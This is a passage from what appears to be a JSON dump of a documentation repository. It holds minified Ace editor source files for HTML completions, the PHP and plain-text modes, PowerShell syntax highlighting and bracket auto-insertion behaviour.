ght:1,width:1,usemap:1,name:1,form:1,classid:1},param:{name:1,value:1},video:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},width:1,height:1,poster:1,muted:{muted:1},preload:{auto:1,metadata:1,none:1}},audio:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},muted:{muted:1},preload:{auto:1,metadata:1,none:1}},source:{src:1,type:1,media:1},track:{kind:1,src:1,srclang:1,label:1,\"default\":1},canvas:{width:1,height:1},map:{name:1},area:{shape:1,coords:1,href:1,hreflang:1,alt:1,target:1,media:1,rel:1,ping:1,type:1},svg:{},math:{},table:{summary:1},caption:{},colgroup:{span:1},col:{span:1},tbody:{},thead:{},tfoot:{},tr:{},td:{headers:1,rowspan:1,colspan:1},th:{headers:1,rowspan:1,colspan:1,scope:1},form:{\"accept-charset\":1,action:1,autocomplete:1,enctype:{\"multipart/form-data\":1,\"application/x-www-form-urlencoded\":1},method:{get:1,post:1},name:1,novalidate:1,target:{_blank:1,top:1}},fieldset:{disabled:1,form:1,name:1},legend:{},label:{form:1,\"for\":1},input:{type:{text:1,password:1,hidden:1,checkbox:1,submit:1,radio:1,file:1,button:1,reset:1,image:31,color:1,date:1,datetime:1,\"datetime-local\":1,email:1,month:1,number:1,range:1,search:1,tel:1,time:1,url:1,week:1},accept:1,alt:1,autocomplete:{on:1,off:1},autofocus:{autofocus:1},checked:{checked:1},disabled:{disabled:1},form:1,formaction:1,formenctype:{\"application/x-www-form-urlencoded\":1,\"multipart/form-data\":1,\"text/plain\":1},formmethod:{get:1,post:1},formnovalidate:{formnovalidate:1},formtarget:{_blank:1,_self:1,_parent:1,_top:1},height:1,list:1,max:1,maxlength:1,min:1,multiple:{multiple:1},pattern:1,placeholder:1,readonly:{readonly:1},required:{required:1},size:1,src:1,step:1,width:1,files:1,value:1},button:{autofocus:1,disabled:{disabled:1},form:1,formaction:1,formenctype:1,formmethod:1,formnovalidate:1,formtarget:1,name:1,value:1,type:{button:1,submit:1}},select:{autofocus:1,disabled:1,form:1,multiple:{multiple:1},name:1,size:1,readonly:{readonly:1}},datalist:{},optgroup:{disabled:1,label:1},option:{disabled:1,selected:1,label:1,value:1},textarea:{autofocus:{autofocus:1},disabled:{disabled:1},form:1,maxlength:1,name:1,placeholder:1,readonly:{readonly:1},required:{required:1},rows:1,cols:1,wrap:{on:1,off:1,hard:1,soft:1}},keygen:{autofocus:1,challenge:{challenge:1},disabled:{disabled:1},form:1,keytype:{rsa:1,dsa:1,ec:1},name:1},output:{\"for\":1,form:1,name:1},progress:{value:1,max:1},meter:{value:1,min:1,max:1,low:1,high:1,optimum:1},details:{open:1},summary:{},command:{type:1,label:1,icon:1,disabled:1,checked:1,radiogroup:1,command:1},menu:{type:1,label:1},dialog:{open:1}},a=Object.keys(u),h=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\"))return this.getTagCompletions(e,t,n,r);if(f(i,\"tag-whitespace\")||f(i,\"attribute-name\"))return this.getAttributeCompletions(e,t,n,r);if(f(i,\"attribute-value\"))return this.getAttributeValueCompletions(e,t,n,r);var s=t.getLine(n.row).substr(0,n.column);return/&[A-z]*$/i.test(s)?this.getHTMLEntityCompletions(e,t,n,r):[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompletions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(Object.keys(u[i]))),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})},this.getAttributeValueCompletions=function(e,t,n,r){var i=l(t,n),s=c(t,n);if(!i)return[];var o=[];return i in u&&s in u[i]&&typeof u[i][s]==\"object\"&&(o=Object.keys(u[i][s])),o.map(function(e){return{caption:e,snippet:e,meta:\"attribute value\",score:Number.MAX_VALUE}})},this.getHTMLEntityCompletions=function(e,t,n,r){var i=[\"&Aacute;\",\"&aacute;\",\"&Acirc;\",\"&acirc;\",\"&acute;\",\"&AElig;\",\"&aelig;\",\"&Agrave;\",\"&agrave;\",\"&alefsym;\",\"&Alpha;\",\"&alpha;\",\"&amp;\",\"&and;\",\"&ang;\",\"&Aring;\",\"&aring;\",\"&asymp;\",\"&Atilde;\",\"&atilde;\",\"&Auml;\",\"&auml;\",\"&bdquo;\",\"&Beta;\",\"&beta;\",\"&brvbar;\",\"&bull;\",\"&cap;\",\"&Ccedil;\",\"&ccedil;\",\"&cedil;\",\"&cent;\",\"&Chi;\",\"&chi;\",\"&circ;\",\"&clubs;\",\"&cong;\",\"&copy;\",\"&crarr;\",\"&cup;\",\"&curren;\",\"&Dagger;\",\"&dagger;\",\"&dArr;\",\"&darr;\",\"&deg;\",\"&Delta;\",\"&delta;\",\"&diams;\",\"&divide;\",\"&Eacute;\",\"&eacute;\",\"&Ecirc;\",\"&ecirc;\",\"&Egrave;\",\"&egrave;\",\"&empty;\",\"&emsp;\",\"&ensp;\",\"&Epsilon;\",\"&epsilon;\",\"&equiv;\",\"&Eta;\",\"&eta;\",\"&ETH;\",\"&eth;\",\"&Euml;\",\"&euml;\",\"&euro;\",\"&exist;\",\"&fnof;\",\"&forall;\",\"&frac12;\",\"&frac14;\",\"&frac34;\",\"&frasl;\",\"&Gamma;\",\"&gamma;\",\"&ge;\",\"&gt;\",\"&hArr;\",\"&harr;\",\"&hearts;\",\"&hellip;\",\"&Iacute;\",\"&iacute;\",\"&Icirc;\",\"&icirc;\",\"&iexcl;\",\"&Igrave;\",\"&igrave;\",\"&image;\",\"&infin;\",\"&int;\",\"&Iota;\",\"&iota;\",\"&iquest;\",\"&isin;\",\"&Iuml;\",\"&iuml;\",\"&Kappa;\",\"&kappa;\",\"&Lambda;\",\"&lambda;\",\"&lang;\",\"&laquo;\",\"&lArr;\",\"&larr;\",\"&lceil;\",\"&ldquo;\",\"&le;\",\"&lfloor;\",\"&lowast;\",\"&loz;\",\"&lrm;\",\"&lsaquo;\",\"&lsquo;\",\"&lt;\",\"&macr;\",\"&mdash;\",\"&micro;\",\"&middot;\",\"&minus;\",\"&Mu;\",\"&mu;\",\"&nabla;\",\"&nbsp;\",\"&ndash;\",\"&ne;\",\"&ni;\",\"&not;\",\"&notin;\",\"&nsub;\",\"&Ntilde;\",\"&ntilde;\",\"&Nu;\",\"&nu;\",\"&Oacute;\",\"&oacute;\",\"&Ocirc;\",\"&ocirc;\",\"&OElig;\",\"&oelig;\",\"&Ograve;\",\"&ograve;\",\"&oline;\",\"&Omega;\",\"&omega;\",\"&Omicron;\",\"&omicron;\",\"&oplus;\",\"&or;\",\"&ordf;\",\"&ordm;\",\"&Oslash;\",\"&oslash;\",\"&Otilde;\",\"&otilde;\",\"&otimes;\",\"&Ouml;\",\"&ouml;\",\"&para;\",\"&part;\",\"&permil;\",\"&perp;\",\"&Phi;\",\"&phi;\",\"&Pi;\",\"&pi;\",\"&piv;\",\"&plusmn;\",\"&pound;\",\"&Prime;\",\"&prime;\",\"&prod;\",\"&prop;\",\"&Psi;\",\"&psi;\",\"&quot;\",\"&radic;\",\"&rang;\",\"&raquo;\",\"&rArr;\",\"&rarr;\",\"&rceil;\",\"&rdquo;\",\"&real;\",\"&reg;\",\"&rfloor;\",\"&Rho;\",\"&rho;\",\"&rlm;\",\"&rsaquo;\",\"&rsquo;\",\"&sbquo;\",\"&Scaron;\",\"&scaron;\",\"&sdot;\",\"&sect;\",\"&shy;\",\"&Sigma;\",\"&sigma;\",\"&sigmaf;\",\"&sim;\",\"&spades;\",\"&sub;\",\"&sube;\",\"&sum;\",\"&sup;\",\"&sup1;\",\"&sup2;\",\"&sup3;\",\"&supe;\",\"&szlig;\",\"&Tau;\",\"&tau;\",\"&there4;\",\"&Theta;\",\"&theta;\",\"&thetasym;\",\"&thinsp;\",\"&THORN;\",\"&thorn;\",\"&tilde;\",\"&times;\",\"&trade;\",\"&Uacute;\",\"&uacute;\",\"&uArr;\",\"&uarr;\",\"&Ucirc;\",\"&ucirc;\",\"&Ugrave;\",\"&ugrave;\",\"&uml;\",\"&upsih;\",\"&Upsilon;\",\"&upsilon;\",\"&Uuml;\",\"&uuml;\",\"&weierp;\",\"&Xi;\",\"&xi;\",\"&Yacute;\",\"&yacute;\",\"&yen;\",\"&Yuml;\",\"&yuml;\",\"&Zeta;\",\"&zeta;\",\"&zwj;\",\"&zwnj;\"];return i.map(function(e){return{caption:e,snippet:e.substr(1),meta:\"html entity\",score:Number.MAX_VALUE}})}}).call(h.prototype),t.HtmlCompletions=h}),define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),define(\"ace/mode/php\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/php_highlight_rules\",\"ace/mode/php_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/php_completions\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\",\"ace/unicode\",\"ace/mode/html\",\"ace/mode/javascript\",\"ace/mode/css\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./php_highlight_rules\").PhpHighlightRules,o=e(\"./php_highlight_rules\").PhpLangHighlightRules,u=e(\"./matching_brace_outdent\").MatchingBraceOutdent,a=e(\"../range\").Range,f=e(\"../worker/worker_client\").WorkerClient,l=e(\"./php_completions\").PhpCompletions,c=e(\"./behaviour/cstyle\").CstyleBehaviour,h=e(\"./folding/cstyle\").FoldMode,p=e(\"../unicode\"),d=e(\"./html\").Mode,v=e(\"./javascript\").Mode,m=e(\"./css\").Mode,g=function(e){this.HighlightRules=o,this.$outdent=new u,this.$behaviour=new c,this.$completer=new l,this.foldingRules=new h};r.inherits(g,i),function(){this.tokenRe=new RegExp(\"^[\"+p.packages.L+p.packages.Mn+p.packages.Mc+p.packages.Nd+p.packages.Pc+\"_]+\",\"g\"),this.nonTokenRe=new RegExp(\"^(?:[^\"+p.packages.L+p.packages.Mn+p.packages.Mc+p.packages.Nd+p.packages.Pc+\"_]|s])+\",\"g\"),this.lineCommentStart=[\"//\",\"#\"],this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var u=t.match(/^.*[\\{\\(\\[\\:]\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o!=\"doc-start\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.$id=\"ace/mode/php-inline\"}.call(g.prototype);var y=function(e){if(e&&e.inline){var t=new g;return t.createWorker=this.createWorker,t.inlinePhp=!0,t}d.call(this),this.HighlightRules=s,this.createModeDelegates({\"js-\":v,\"css-\":m,\"php-\":g}),this.foldingRules.subModes[\"php-\"]=new h};r.inherits(y,d),function(){this.createWorker=function(e){var t=new f([\"ace\"],\"ace/mode/php_worker\",\"PhpWorker\");return t.attachToDocument(e.getDocument()),this.inlinePhp&&t.call(\"setOptions\",[{inline:!0}]),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/php\"}.call(y.prototype),t.Mode=y})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-plain_text.js",
    "content": "define(\"ace/mode/plain_text\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/text_highlight_rules\",\"ace/mode/behaviour\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./text_highlight_rules\").TextHighlightRules,o=e(\"./behaviour\").Behaviour,u=function(){this.HighlightRules=s,this.$behaviour=new o};r.inherits(u,i),function(){this.type=\"text\",this.getNextLineIndent=function(e,t,n){return\"\"},this.$id=\"ace/mode/plain_text\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-powershell.js",
    "content": "define(\"ace/mode/powershell_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"function|if|else|elseif|switch|while|default|for|do|until|break|continue|foreach|return|filter|in|trap|throw|param|begin|process|end\",t=\"Get-Alias|Import-Alias|New-Alias|Set-Alias|Get-AuthenticodeSignature|Set-AuthenticodeSignature|Set-Location|Get-ChildItem|Clear-Item|Get-Command|Measure-Command|Trace-Command|Add-Computer|Checkpoint-Computer|Remove-Computer|Restart-Computer|Restore-Computer|Stop-Computer|Reset-ComputerMachinePassword|Test-ComputerSecureChannel|Add-Content|Get-Content|Set-Content|Clear-Content|Get-Command|Invoke-Command|Enable-ComputerRestore|Disable-ComputerRestore|Get-ComputerRestorePoint|Test-Connection|ConvertFrom-CSV|ConvertTo-CSV|ConvertTo-Html|ConvertTo-Xml|ConvertFrom-SecureString|ConvertTo-SecureString|Copy-Item|Export-Counter|Get-Counter|Import-Counter|Get-Credential|Get-Culture|Get-ChildItem|Get-Date|Set-Date|Remove-Item|Compare-Object|Get-Event|Get-WinEvent|New-Event|Remove-Event|Unregister-Event|Wait-Event|Clear-EventLog|Get-Eventlog|Limit-EventLog|New-Eventlog|Remove-EventLog|Show-EventLog|Write-EventLog|Get-EventSubscriber|Register-EngineEvent|Register-ObjectEvent|Register-WmiEvent|Get-ExecutionPolicy|Set-ExecutionPolicy|Export-Alias|Export-Clixml|Export-Console|Export-Csv|ForEach-Object|Format-Custom|Format-List|Format-Table|Format-Wide|Export-FormatData|Get-FormatData|Get-Item|Get-ChildItem|Get-Help|Add-History|Clear-History|Get-History|Invoke-History|Get-Host|Read-Host|Write-Host|Get-HotFix|Import-Clixml|Import-Csv|Invoke-Command|Invoke-Expression|Get-Item|Invoke-Item|New-Item|Remove-Item|Set-Item|Clear-ItemProperty|Copy-ItemProperty|Get-ItemProperty|Move-ItemProperty|New-ItemProperty|Remove-ItemProperty|Rename-ItemProperty|Set-ItemProperty|Get-Job|Receive-Job|Remove-Job|Start-Job|Stop-Job|Wait-Job|Stop-Process|Update-List|Get-Location|Pop-Location|Push-Location|Set-Location|Send-MailMessage|Add-Member|Get-Member|Move-Item|Compare-Object|Group-Object|Measure-Object|New-Object|Select-Object|Sort-Object|Where-Object|Out-Default|Out-File|Out-GridView|Out-Host|Out-Null|Out-Printer|Out-String|Convert-Path|Join-Path|Resolve-Path|Split-Path|Test-Path|Get-Pfxcertificate|Pop-Location|Push-Location|Get-Process|Start-Process|Stop-Process|Wait-Process|Enable-PSBreakpoint|Disable-PSBreakpoint|Get-PSBreakpoint|Set-PSBreakpoint|Remove-PSBreakpoint|Get-PSDrive|New-PSDrive|Remove-PSDrive|Get-PSProvider|Set-PSdebug|Enter-PSSession|Exit-PSSession|Export-PSSession|Get-PSSession|Import-PSSession|New-PSSession|Remove-PSSession|Disable-PSSessionConfiguration|Enable-PSSessionConfiguration|Get-PSSessionConfiguration|Register-PSSessionConfiguration|Set-PSSessionConfiguration|Unregister-PSSessionConfiguration|New-PSSessionOption|Add-PsSnapIn|Get-PsSnapin|Remove-PSSnapin|Get-Random|Read-Host|Remove-Item|Rename-Item|Rename-ItemProperty|Select-Object|Select-XML|Send-MailMessage|Get-Service|New-Service|Restart-Service|Resume-Service|Set-Service|Start-Service|Stop-Service|Suspend-Service|Sort-Object|Start-Sleep|ConvertFrom-StringData|Select-String|Tee-Object|New-Timespan|Trace-Command|Get-Tracesource|Set-Tracesource|Start-Transaction|Complete-Transaction|Get-Transaction|Use-Transaction|Undo-Transaction|Start-Transcript|Stop-Transcript|Add-Type|Update-TypeData|Get-Uiculture|Get-Unique|Update-Formatdata|Update-Typedata|Clear-Variable|Get-Variable|New-Variable|Remove-Variable|Set-Variable|New-WebServiceProxy|Where-Object|Write-Debug|Write-Error|Write-Host|Write-Output|Write-Progress|Write-Verbose|Write-Warning|Set-WmiInstance|Invoke-WmiMethod|Get-WmiObject|Remove-WmiObject|Connect-WSMan|Disconnect-WSMan|Test-WSMan|Invoke-WSManAction|Disable-WSManCredSSP|Enable-WSManCredSSP|Get-WSManCredSSP|New-WSManInstance|Get-WSManInstance|Set-WSManInstance|Remove-WSManInstance|Set-WSManQuickConfig|New-WSManSessionOption\",n=this.createKeywordMapper({\"support.function\":t,keyword:e},\"identifier\"),r=\"eq|ne|ge|gt|lt|le|like|notlike|match|notmatch|replace|contains|notcontains|ieq|ine|ige|igt|ile|ilt|ilike|inotlike|imatch|inotmatch|ireplace|icontains|inotcontains|is|isnot|as|and|or|band|bor|not\";this.$rules={start:[{token:\"comment\",regex:\"#.*$\"},{token:\"comment.start\",regex:\"<#\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"[$](?:[Tt]rue|[Ff]alse)\\\\b\"},{token:\"constant.language\",regex:\"[$][Nn]ull\\\\b\"},{token:\"variable.instance\",regex:\"[$][a-zA-Z][a-zA-Z0-9_]*\\\\b\"},{token:n,regex:\"[a-zA-Z_$][a-zA-Z0-9_$\\\\-]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\-(?:\"+r+\")\"},{token:\"keyword.operator\",regex:\"&|\\\\*|\\\\+|\\\\-|\\\\=|\\\\+=|\\\\-=\"},{token:\"lparen\",regex:\"[[({]\"},{token:\"rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment.end\",regex:\"#>\",next:\"start\"},{token:\"doc.comment.tag\",regex:\"^\\\\.\\\\w+\"},{token:\"comment\",regex:\"\\\\w+\"},{token:\"comment\",regex:\".\"}]}};r.inherits(s,i),t.PowershellHighlightRules=s}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new 